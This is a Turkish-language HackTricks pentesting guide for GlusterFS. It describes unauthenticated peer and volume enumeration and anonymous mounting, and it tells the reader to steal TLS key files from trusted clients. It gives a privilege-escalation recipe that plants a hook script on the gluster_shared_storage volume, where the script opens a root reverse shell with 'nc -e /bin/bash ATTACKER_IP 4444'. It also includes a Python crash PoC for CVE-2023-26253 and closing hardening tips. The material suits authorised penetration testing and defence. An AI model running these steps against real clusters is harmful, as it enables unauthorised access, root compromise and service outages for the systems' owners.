24007-24008-24009-49152 - Pentesting GlusterFS

Reading time: 5 minutes

tip

AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE) Azure Hacking'i öğrenin ve pratik yapın: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks'i Destekleyin

Temel Bilgiler

GlusterFS, birden fazla sunucudan depolamayı tek bir birleşik ad alanı içinde birleştiren bir dağıtık dosya sistemidir. Yönetim daemon'u (glusterd) varsayılan olarak 24007/TCP üzerinde dinler ve 49152/TCP'de başlayan veri düzlemi tuğlalarına talimat verir (her tuğla için bir port, artan şekilde). 9.x sürümlerinden önce 24008–24009/TCP tuğla taşımak için kullanılıyordu, bu nedenle eski kümelerde bu portlarla karşılaşmaya devam edeceksiniz.

PORT      STATE  SERVICE        VERSION
24007/tcp open   glusterd       GlusterFS (RPC)
49152/tcp open   gluster-brick  SSL (TLS optional)

İpucu: 24007, depolama yalnızca düğümleri herhangi bir hacim yayınlamadığında bile RPC çağrılarına yanıt verir; bu nedenle hizmet, büyük altyapılar içinde güvenilir bir pivot hedefidir.

Sayım

Saldırı kutunuzda istemci yardımcı programlarını kurun:

bash
sudo apt install -y glusterfs-cli glusterfs-client   # Debian/Ubuntu
  1. Eşler keşfi ve sağlık
bash
# List peers (works without authentication in default setups)
gluster --remote-host 10.10.11.131 peer status
  1. Hacim keşfi
bash
# Retrieve the list of all volumes and their configuration
gluster --remote-host 10.10.11.131 volume info all
  1. Yetkisiz olarak bağlama
bash
sudo mount -t glusterfs 10.10.11.131:/<vol_name> /mnt/gluster

Eğer montaj başarısız olursa, istemci tarafında /var/log/glusterfs/<vol_name>-<uid>.log dosyasını kontrol edin. Yaygın sorunlar şunlardır:

  • TLS zorlaması (option transport.socket.ssl on)
  • Adres tabanlı erişim kontrolü (option auth.allow <cidr>)

Sertifika sorun giderme

Herhangi bir yetkili istemci düğümünden aşağıdaki dosyaları çalın ve bunları /etc/ssl/ (veya hata günlüğünde gösterilen dizin) içine yerleştirin:

/etc/ssl/glusterfs.pem
/etc/ssl/glusterfs.key
/etc/ssl/glusterfs.ca

Bilinen Güvenlik Açıkları (2022-2025)

CVEEtkilenen sürümlerEtkiNotlar
CVE-2022-4834010.0–10.4, 11.0Ağ üzerinden erişilebilen dht_setxattr_mds_cbk içinde kullanımdan sonra serbest bırakmaUzaktan DoS ve muhtemel RCE. 10.4.1 / 11.1'de düzeltildi.
CVE-2023-26253< 11.0FUSE bildirim işleyicisinde sınır dışı okumaÖzel FS işlemleri aracılığıyla uzaktan çökme; kamuya açık PoC mevcut.
CVE-2023-3775< 10.5 / 11.1gluster_shared_storage bağlanırken yanlış izin doğrulamasıHerhangi bir kimlik doğrulaması yapılmamış istemcinin yönetici hacmini bağlamasına izin verir – aşağıda açıklanan priv-esc ile sonuçlanır.

Her zaman gluster --version her düğümde kontrol edin; kısmi güncellemelerden sonra heterojen kümeler yaygındır.

gluster_shared_storage'ı Sömürmek (Yetki Yükseltme)

Son sürümlerde bile birçok yönetici özel gluster_shared_storage hacmini dünya genelinde okunabilir bırakıyor çünkü bu, coğrafi çoğaltmayı basitleştiriyor. Hacim, her düğümde root ile çalışan cronjob şablonlarını içerir.

bash
# 1. Mount admin volume anonymously
mkdir /tmp/gss && sudo mount -t glusterfs 10.10.11.131:/gluster_shared_storage /tmp/gss

# 2. Drop malicious script that gets synchronised cluster-wide
cat <<'EOF' > /tmp/gss/hooks/1/start/post/test.sh
#!/bin/bash
nc -e /bin/bash ATTACKER_IP 4444 &
EOF
chmod +x /tmp/gss/hooks/1/start/post/test.sh

# 3. Wait until glusterd distributes the hook and executes it as root

Eğer hooks/1/ mevcut değilse, /ss_bricks/ için arama yapın – tam yol ana sürüme göre değişiklik gösterebilir.

Hizmet Reddi PoC (CVE-2023-26253)

python
#!/usr/bin/env python3
# Minimal reproducer: sends malformed NOTIFY_REPLY XDR frame to 24007
import socket, xdrlib, struct
p = xdrlib.Packer(); p.pack_uint(0xdeadbeef)
with socket.create_connection(("10.10.11.131",24007)) as s:
s.send(struct.pack("!L", len(p.get_buffer())|0x80000000))
s.send(p.get_buffer())

glusterfsd < 11.0 sürümünde script çalıştırmak çökmesine neden olur.


Güçlendirme & Tespit

  • Güncelleme – mevcut LTS 11.1'dir (Temmuz 2025). Yukarıdaki tüm CVE'ler düzeltilmiştir.
  • Her brick için TLS'yi etkinleştirin:
bash
gluster volume set <vol> transport.socket.ssl on
gluster volume set <vol> transport.socket.ssl-cert /etc/ssl/glusterfs.pem
  • CIDR listeleri ile istemcileri kısıtlayın:
bash
gluster volume set <vol> auth.allow 10.0.0.0/24
  • Yönetim portu 24007'yi yalnızca özel VLAN üzerinde veya SSH tünelleri aracılığıyla açığa çıkarın.
  • Logları izleyin: tail -f /var/log/glusterfs/glusterd.log ve audit-log özelliğini yapılandırın (volume set <vol> features.audit-log on).

Referanslar

tip

AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE) Azure Hacking'i öğrenin ve pratik yapın: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks'i Destekleyin